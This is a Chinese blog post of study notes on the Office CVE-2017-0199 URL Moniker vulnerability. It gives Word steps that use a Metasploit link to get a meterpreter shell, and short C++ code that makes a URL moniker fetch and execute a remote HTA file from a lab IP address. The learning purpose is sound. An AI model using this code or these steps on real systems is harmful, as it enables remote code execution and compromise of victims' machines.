CVE-2017-0199学习笔记

作者: Luan 分类: 学习笔记 发布时间: 2018-03-02 17:28

漏洞刚出那会儿@wobushou复现后写了文章,我也顺便转载下。以前对Windows相关的漏洞都不关注,因为自己实在太菜了,web都学不好还看什么Windows的漏洞。最近学习COM技术看到了moniker这部分,找了找资料发现有一些相关漏洞,0199就是其中一个。

网上的各种复现过程太多了,随便找两个看其实都差不多,都是只利用0199的其中一个漏洞。我也就只写这个漏洞的了,另一个可以去参考链接里看看。

我复现的过程:

打开WORD,菜单,插入,对象,输入MSF生成的链接,勾选链接到对象,确定,保存文件。重新打开会提示更新对象,点是,就会弹回一个meterpreter shell。

我所理解的这个RTF URL Moniker漏洞就这样:

StdOleLink结构会创建URL Moniker,然后调用他的IMoniker::BindToObject()方法,然后URL Moniker解析hta导致任意代码执行。

写了点代码加深下印象:

#include <windows.h>
#pragma comment (lib, "urlmon.lib")
void main(){
	IMoniker* pMoniker;
	IUnknown* pUnknown;
	IBindCtx* pBindCtx;
	CoInitialize(NULL);
	CreateURLMoniker(NULL, L"http://192.168.228.128/default.hta", &pMoniker);
	CreateBindCtx(NULL, &pBindCtx);
	pMoniker->BindToObject(pBindCtx, NULL, IID_IUnknown, (void**)&pUnknown);
}

编译运行就会下载执行http://192.168.228.128/default.hta。

找资料的时候还看到CSDN一篇文章,BindToStorage和BindToObject的区别是什么 http://bbs.csdn.net/topics/320078300。5楼版主引用了MSDN的内容回答。BindToStorage不会激活Moniker去创建对象,如果把我上面代码里的BindToObject改成BindToStorage,参数改成IStream,把他的结果打印出来看就是获取的HTA源码,并不会解析执行。

从《Moniker Magic: Running Scripts Directly in Microsoft Office》了解到微软的补丁是在Office里禁用了这个moniker,如果能找到其他的moniker来搞事情就是一个Office 0day了。

 

参考链接:

Moniker Magic: Running Scripts Directly in Microsoft Office

https://0b3dcaf9-a-62cb3a1a-s-sites.googlegroups.com/site/zerodayresearch/Moniker_Magic_final.pdf【原文】

https://bbs.pediy.com/thread-219234.htm【译文】

IMoniker::BindToStorage method

https://msdn.microsoft.com/en-us/library/windows/desktop/ms688738(v=vs.85).aspx

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!